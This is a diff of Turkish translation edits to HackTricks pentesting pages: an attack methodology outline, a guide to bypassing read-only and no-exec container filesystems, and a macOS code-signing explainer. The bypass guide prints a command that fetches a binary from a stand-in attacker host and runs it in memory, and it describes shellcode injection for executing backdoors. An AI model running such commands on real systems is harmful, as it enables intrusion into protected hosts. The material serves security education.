-**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\
-Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir.
+**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (çünkü en kapsamlı olanıdır).**\
+Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunmaktadır.
-**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
+**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting** işleminizi gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar
-Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **[**Legion**](https://github.com/carlospolop/legion)**'u denemenizi öneririm, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
+Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **[**Legion**](https://github.com/carlospolop/legion)**'u denemenizi öneririm, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
-#### **5.2 Brute-Force ile hizmetleri kırma**
+#### **5.2 Brute-Force ile servisleri zorlamak**
-Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için yararlı olabilir. [**Farklı servislerin brute forcing'ine dair bir CheatSheet burada bulabilirsiniz**](brute-force.md)**.**
+Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulabilirsiniz**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
-Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **biraz phishing denemek** isteyebilirsiniz. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz:
+Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz:
-### **7-** [**Shell Alma**](reverse-shells/)
+### **7-** [**Shell Elde Etmek**](reverse-shells/)
-Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesini bulmak çok faydalı olacaktır](reverse-shells/).
+Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [**geri shell almak için sistem içindeki olası araçların bir listesini bulmak çok faydalı olacaktır**](reverse-shells/).
Özellikle Windows'ta **antivirüslerden kaçınmak için** bazı yardımlara ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\
### 8- İçeride
-Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini** burada bulabilirsiniz:
+Shell ile ilgili sorunlar yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini** burada bulabilirsiniz:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@@ -91,26 +91,26 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların
### **9 -** [**Veri Sızdırma**](exfiltration.md)
-Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** gerekecek (örneğin, ayrıcalık yükseltme betikleri). **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](exfiltration.md)**.**
+Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** gerekecek (örneğin ayrıcalık yükseltme betikleri). **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](exfiltration.md)**.**
### **10- Ayrıcalık Yükseltme**
#### **10.1- Yerel Privesc**
Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\
-Burada **Linux'ta** [**yerel ayrıcalıkları yükseltme**](../linux-hardening/privilege-escalation/) ve **Windows'ta** [**yerel ayrıcalıkları yükseltme**](../windows-hardening/windows-local-privilege-escalation/) için bir kılavuz bulabilirsiniz.\
+Burada **Linux'ta** [**yerel ayrıcalıkları yükseltmek için bir kılavuz**](../linux-hardening/privilege-escalation/) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/) **bulabilirsiniz.**\
Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz:
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM nasıl çalışır**](../windows-hardening/ntlm/)
-* Windows'ta [**kimlik bilgilerini çalma**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
+* Windows'ta [**kimlik bilgilerini çalmanın**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) yolları
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Alan Privesc**
-Burada [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Kırmızı Takım** görevinde **son derece hassas** olabilir.
+Burada [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir.
### 11 - POST
@@ -124,14 +124,14 @@ Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktri
**Sistemi tekrar istismar etmenize gerek kalmaması için 2 veya 3 farklı kalıcılık mekanizması kullanın.**\
**Burada bazı** [**active directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/#persistence)** bulabilirsiniz.**
-TODO: Windows & Linux'ta kalıcılık Post'unu tamamla
+TODO: Windows & Linux'ta kalıcılık Postunu tamamla
-### 12 - Pivotlama
+### 12 - Pivoting
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız olabilir.\
Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](tunneling-and-port-forwarding.md).\
-Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı da kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
-Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir.
+Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
+Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir.
### DAHA FAZLA
@@ -151,15 +151,15 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
-
+
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
-AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index a3525c8b0..743936348 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -1,4 +1,4 @@
-# FS korumalarını aşma: yalnızca okunur / çalıştırma yok / Distroless
+# FS korumalarını aşma: yalnızca okunabilir / çalıştırılamaz / Distroless
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
@@ -15,9 +15,9 @@ GCP Hacking'i öğrenin ve pratik yapın:
+
-Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -25,12 +25,12 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek
Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha derinlemesine bulabilirsiniz:
-* [**DEF CON 31 - Linux Bellek Manipülasyonunu Gizlilik ve Kaçış için Keşfetmek**](https://www.youtube.com/watch?v=poHirez8jk4)
-* [**DDexec-ng ile Gizli Sızmalar & Bellek İçi dlopen() - HackTricks Takvimi 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
+* [**DEF CON 31 - Linux Bellek Manipülasyonu ile Gizlilik ve Kaçış**](https://www.youtube.com/watch?v=poHirez8jk4)
+* [**DDexec-ng ile Gizli Sızmalar & Bellek İçi dlopen() - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
-## yalnızca okunur / çalıştırma yok senaryosu
+## yalnızca okunabilir / çalıştırılamaz senaryo
-Linux makinelerinin **yalnızca okunur (ro) dosya sistemi koruması** ile monte edilmesi giderek daha yaygın hale geliyor, özellikle konteynerlerde. Bunun nedeni, ro dosya sistemi ile bir konteyner çalıştırmanın **`readOnlyRootFilesystem: true`** ayarını `securitycontext` içinde ayarlamak kadar kolay olmasıdır:
+Linux makinelerinin **yalnızca okunabilir (ro) dosya sistemi koruması** ile monte edilmesi giderek daha yaygın hale geliyor, özellikle konteynerlerde. Bunun nedeni, ro dosya sistemi ile bir konteyner çalıştırmanın **`readOnlyRootFilesystem: true`** ayarını `securitycontext` içinde ayarlamak kadar kolay olmasıdır:
apiVersion: v1
kind: Pod
@@ -45,7 +45,7 @@ securityContext:
command: ["sh", "-c", "while true; do sleep 1000; done"]
-Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu nedenle diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırma yok koruması** ile monte edilecektir, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
+Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu nedenle diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırılamaz koruma ile monte edilecektir**, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %}
Kırmızı takım perspektifinden, bu, sistemde zaten olmayan ikili dosyaları **indirmek ve çalıştırmak** için **zorlaştırıyor** (örneğin arka kapılar veya `kubectl` gibi sayıcılar).
@@ -53,7 +53,7 @@ Kırmızı takım perspektifinden, bu, sistemde zaten olmayan ikili dosyaları *
## En Kolay Aşma: Scriptler
-İkili dosyalardan bahsettiğimi unutmayın, eğer yorumlayıcı makine içinde mevcutsa, bir **shell script** veya **python** **script** gibi **herhangi bir scripti** çalıştırabilirsiniz.
+İkili dosyalardan bahsettiğimi unutmayın, eğer yorumlayıcı makine içinde mevcutsa, **herhangi bir scripti** çalıştırabilirsiniz, örneğin `sh` mevcutsa bir **shell scripti** veya `python` yüklüyse bir **python scripti**.
Ancak, bu yalnızca ikili arka kapınızı veya çalıştırmanız gereken diğer ikili araçları çalıştırmak için yeterli değildir.
@@ -63,30 +63,30 @@ Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin v
### FD + exec syscall aşması
-Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, bellekte çalıştırmak için ikili dosyayı indirebilir, bunu bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklayabilir, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **çalıştırılacak dosya olarak fd'yi belirtebilirsiniz**.
+Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, ikili dosyayı bellekte çalıştırmak için indirebilir, bunu bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklayabilir, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
-Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde, **ikili dosya sıkıştırılmış ve b64 kodlanmış** olarak, **decode ve decompress** talimatları ile birlikte bir **fd** oluşturacak şekilde bir script üretecektir.
+Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde **ikili dosya sıkıştırılmış ve b64 kodlanmış** bir script oluşturur, ardından **bunu çözmek ve açmak için** `create_memfd` syscall'ını çağırarak oluşturulan bir **fd** içinde ve çalıştırmak için **exec** syscall'ına bir çağrı yapar.
{% hint style="warning" %}
-Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü bunların scriptten ham syscall'leri çağırmak için herhangi bir **varsayılan yolu** yoktur, bu nedenle ikili dosyayı saklamak için **bellek fd** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
+Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü bunların bir scriptten **ham syscall'ları çağırmanın varsayılan bir yolu yoktur**, bu nedenle ikili dosyayı saklamak için **bellek fd'si** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
-Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yaramaz, çünkü **çalıştırma yok koruması** uygulanacağı için bunu çalıştırmanıza izin verilmeyecektir.
+Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yaramaz, çünkü **çalıştırılamaz koruma** uygulanacağı için bunu çalıştırmanıza izin verilmeyecektir.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) tekniği, kendi sürecinizin belleğini **`/proc/self/mem`** üzerinden yazma ile **değiştirmenizi** sağlar.
-Bu nedenle, sürecin yürüttüğü **assembly kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "mutasyona uğratabilirsiniz"**.
+Bu nedenle, sürecin yürüttüğü **montaj kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "mutasyona uğratabilirsiniz"**.
{% hint style="success" %}
-**DDexec / EverythingExec**, kendi **shellcode** veya **herhangi bir ikili dosyayı** **bellekten** yükleyip **çalıştırmanıza** olanak tanır.
+**DDexec / EverythingExec**, kendi **shellcode'unuzu** veya **herhangi bir ikili dosyayı** **bellekten** yükleyip **çalıştırmanıza** olanak tanır.
{% endhint %}
```bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
```
-For more information about this technique check the Github or:
+Daha fazla bilgi için bu tekniği kontrol edin Github veya:
{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
@@ -94,7 +94,7 @@ For more information about this technique check the Github or:
### MemExec
-[**Memexec**](https://github.com/arget13/memexec) DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosya çalıştırmak istediğinizde** DDexec'i yeniden başlatmanıza gerek yoktur, sadece memexec shellcode'u DDexec tekniği aracılığıyla çalıştırabilir ve ardından **yeni ikili dosyaları yüklemek ve çalıştırmak için bu demon ile iletişim kurabilirsiniz**.
+[**Memexec**](https://github.com/arget13/memexec) DDexec'in doğal bir sonraki adımıdır. Bu, **DDexec shellcode demonize edilmiştir**, böylece her seferinde **farklı bir ikili dosya çalıştırmak istediğinizde** DDexec'i yeniden başlatmanıza gerek yoktur, sadece memexec shellcode'u DDexec tekniği aracılığıyla çalıştırabilir ve ardından **yeni ikili dosyaları yüklemek ve çalıştırmak için bu demon ile iletişim kurabilirsiniz**.
**Memexec'i bir PHP ters shell'den ikili dosyaları çalıştırmak için nasıl kullanacağınızla ilgili bir örneği** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulabilirsiniz.
@@ -106,7 +106,7 @@ DDexec ile benzer bir amaca sahip olan [**memdlopen**](https://github.com/arget1
### Distroless nedir
-Distroless konteynerler, belirli bir uygulama veya hizmeti çalıştırmak için gerekli olan **en az düzeyde bileşenleri** içerir, örneğin kütüphaneler ve çalışma zamanı bağımlılıkları, ancak paket yöneticisi, shell veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
+Distroless konteynerler, belirli bir uygulama veya hizmeti çalıştırmak için gerekli olan **en az gerekli bileşenleri** içerir, örneğin kütüphaneler ve çalışma zamanı bağımlılıkları, ancak paket yöneticisi, shell veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, **gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini azaltmak** ve istismar edilebilecek zafiyet sayısını en aza indirmektir.
@@ -115,13 +115,13 @@ Distroless konteynerlerin amacı, **gereksiz bileşenleri ortadan kaldırarak ko
Bir distroless konteynerde **normal bir shell almak için `sh` veya `bash`** bile bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şey.
{% hint style="warning" %}
-Bu nedenle, **ters shell** almanız veya sistemi **listelemeniz** mümkün **olmayacak**.
+Bu nedenle, **ters shell** almanız veya sistemi **listelemeniz** mümkün **olmayacaktır**.
{% endhint %}
-Ancak, eğer ele geçirilmiş konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters shell** alabilirsiniz. Eğer node çalıştırıyorsa, bir Node rev shell alabilirsiniz ve çoğu **betik dili** için aynı durum geçerlidir.
+Ancak, eğer ele geçirilmiş konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters shell** alabilirsiniz. Eğer node çalıştırıyorsa, bir Node rev shell alabilirsiniz ve çoğu **betik dili** ile aynı durum geçerlidir.
{% hint style="success" %}
-Betik dilini kullanarak, dilin yeteneklerini kullanarak **sistemi listeleyebilirsiniz**.
+Betik dilini kullanarak **sistemi listeleyebilirsiniz**.
{% endhint %}
Eğer **`read-only/no-exec`** korumaları yoksa, ters shell'inizi kullanarak **dosya sistemine ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**.
@@ -132,9 +132,9 @@ Ancak, bu tür konteynerlerde bu korumalar genellikle mevcut olacaktır, ancak *
**Bazı RCE zafiyetlerini istismar ederek betik dillerinden **ters shell'ler** almak ve hafızadan ikili dosyaları çalıştırmak için **örnekleri** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulabilirsiniz.
-
+
-Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı lehçe yazılı ve sözlü gereklidir_).
+**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -147,7 +147,7 @@ GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks'i Destekleyin
+
+* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
+* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+
+
+{% endhint %}
+
+## Temel Bilgiler
+
+Mach-o ikili dosyaları, ikili dosya içindeki imzaların **offset** ve **boyutunu** belirten **`LC_CODE_SIGNATURE`** adlı bir yükleme komutu içerir. Aslında, MachOView GUI aracını kullanarak, ikili dosyanın sonunda bu bilgileri içeren **Kod İmzası** adlı bir bölüm bulmak mümkündür:
+
+
+
+Kod İmzasının sihirli başlığı **`0xFADE0CC0`**'dır. Ardından, bunları içeren süperBlob'un uzunluğu ve blob sayısı gibi bilgiler vardır.\
+Bu bilgiyi [kaynak kodda burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) bulmak mümkündür:
+```c
+/*
+* Structure of an embedded-signature SuperBlob
+*/
+
+typedef struct __BlobIndex {
+uint32_t type; /* type of entry */
+uint32_t offset; /* offset of entry */
+} CS_BlobIndex
+__attribute__ ((aligned(1)));
+
+typedef struct __SC_SuperBlob {
+uint32_t magic; /* magic number */
+uint32_t length; /* total length of SuperBlob */
+uint32_t count; /* number of index entries following */
+CS_BlobIndex index[]; /* (count) entries */
+/* followed by Blobs in no particular order as indicated by offsets in index */
+} CS_SuperBlob
+__attribute__ ((aligned(1)));
+
+#define KERNEL_HAVE_CS_GENERICBLOB 1
+typedef struct __SC_GenericBlob {
+uint32_t magic; /* magic number */
+uint32_t length; /* total length of blob */
+char data[];
+} CS_GenericBlob
+__attribute__ ((aligned(1)));
+```
+Yaygın olarak bulunan blob'lar, Kod Dizini, Gereksinimler ve Yetkiler ile Kriptografik Mesaj Sözleşmesi (CMS) içerir.\
+Ayrıca, blob'larda kodlanan verilerin **Big Endian** formatında kodlandığını not edin.
+
+Ayrıca, imzaların ikili dosyalardan ayrılabileceği ve `/var/db/DetachedSignatures` dizininde saklanabileceği (iOS tarafından kullanılır) unutulmamalıdır.
+
+## Kod Dizini Blob'u
+
+[Kod Dizini Blob'unun kod içindeki beyanını](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104) bulmak mümkündür:
+```c
+typedef struct __CodeDirectory {
+uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
+uint32_t length; /* total length of CodeDirectory blob */
+uint32_t version; /* compatibility version */
+uint32_t flags; /* setup and mode flags */
+uint32_t hashOffset; /* offset of hash slot element at index zero */
+uint32_t identOffset; /* offset of identifier string */
+uint32_t nSpecialSlots; /* number of special hash slots */
+uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
+uint32_t codeLimit; /* limit to main image signature range */
+uint8_t hashSize; /* size of each hash in bytes */
+uint8_t hashType; /* type of hash (cdHashType* constants) */
+uint8_t platform; /* platform identifier; zero if not platform binary */
+uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
+uint32_t spare2; /* unused (must be zero) */
+
+char end_earliest[0];
+
+/* Version 0x20100 */
+uint32_t scatterOffset; /* offset of optional scatter vector */
+char end_withScatter[0];
+
+/* Version 0x20200 */
+uint32_t teamOffset; /* offset of optional team identifier */
+char end_withTeam[0];
+
+/* Version 0x20300 */
+uint32_t spare3; /* unused (must be zero) */
+uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
+char end_withCodeLimit64[0];
+
+/* Version 0x20400 */
+uint64_t execSegBase; /* offset of executable segment */
+uint64_t execSegLimit; /* limit of executable segment */
+uint64_t execSegFlags; /* executable segment flags */
+char end_withExecSeg[0];
+
+/* Version 0x20500 */
+uint32_t runtime;
+uint32_t preEncryptOffset;
+char end_withPreEncryptOffset[0];
+
+/* Version 0x20600 */
+uint8_t linkageHashType;
+uint8_t linkageApplicationType;
+uint16_t linkageApplicationSubType;
+uint32_t linkageOffset;
+uint32_t linkageSize;
+char end_withLinkage[0];
+
+/* followed by dynamic content as located by offset fields above */
+} CS_CodeDirectory
+__attribute__ ((aligned(1)));
+```
+Not edin ki, bu yapının farklı versiyonları vardır ve eski olanlar daha az bilgi içerebilir.
+
+## Kod İmzalama Sayfaları
+
+Tam ikili dosyanın hash'lenmesi verimsiz olurdu ve yalnızca bellekte kısmen yüklüyse işe yaramazdı. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lendiği bir hash'ler hash'idir.\
+Aslında, önceki **Kod Dizini** kodunda **sayfa boyutunun belirtildiğini** görebilirsiniz. Ayrıca, ikilinin boyutu bir sayfa boyutunun katı değilse, **CodeLimit** alanı imzanın nerede sona erdiğini belirtir.
+```bash
+# Get all hashes of /bin/ps
+codesign -d -vvvvvv /bin/ps
+[...]
+CandidateCDHash sha256=c46e56e9490d93fe35a76199bdb367b3463c91dc
+CandidateCDHashFull sha256=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
+Hash choices=sha256
+CMSDigest=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
+CMSDigestType=2
+Executable Segment base=0
+Executable Segment limit=32768
+Executable Segment flags=0x1
+Page size=4096
+-7=a542b4dcbc134fbd950c230ed9ddb99a343262a2df8e0c847caee2b6d3b41cc8
+-6=0000000000000000000000000000000000000000000000000000000000000000
+-5=2bb2de519f43b8e116c7eeea8adc6811a276fb134c55c9c2e9dcbd3047f80c7d
+-4=0000000000000000000000000000000000000000000000000000000000000000
+-3=0000000000000000000000000000000000000000000000000000000000000000
+-2=4ca453dc8908dc7f6e637d6159c8761124ae56d080a4a550ad050c27ead273b3
+-1=0000000000000000000000000000000000000000000000000000000000000000
+0=a5e6478f89812c0c09f123524cad560a9bf758d16014b586089ddc93f004e39c
+1=ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
+2=93d476eeace15a5ad14c0fb56169fd080a04b99582b4c7a01e1afcbc58688f
+[...]
+
+# Calculate the hasehs of each page manually
+BINARY=/bin/ps
+SIZE=`stat -f "%Z" $BINARY`
+PAGESIZE=4096 # From the previous output
+PAGES=`expr $SIZE / $PAGESIZE`
+for i in `seq 0 $PAGES`; do
+dd if=$BINARY of=/tmp/`basename $BINARY`.page.$i bs=$PAGESIZE skip=$i count=1
+done
+openssl sha256 /tmp/*.page.*
+```
+## Yetki Blob'u
+
+Uygulamaların tüm yetkilerin tanımlandığı bir **yetki blob'u** içerebileceğini unutmayın. Ayrıca, bazı iOS ikili dosyaları, yetkilerini özel slot -7'de (slot -5 yerine) belirtebilir.
+
+## Özel Slotlar
+
+MacOS uygulamaları, ikili dosya içinde çalıştırmak için ihtiyaç duydukları her şeye sahip değildir, aynı zamanda **harici kaynaklar** (genellikle uygulamaların **paketinde**) kullanırlar. Bu nedenle, ikili dosya içinde bazı ilginç harici kaynakların hash'lerini içeren bazı slotlar bulunmaktadır.
+
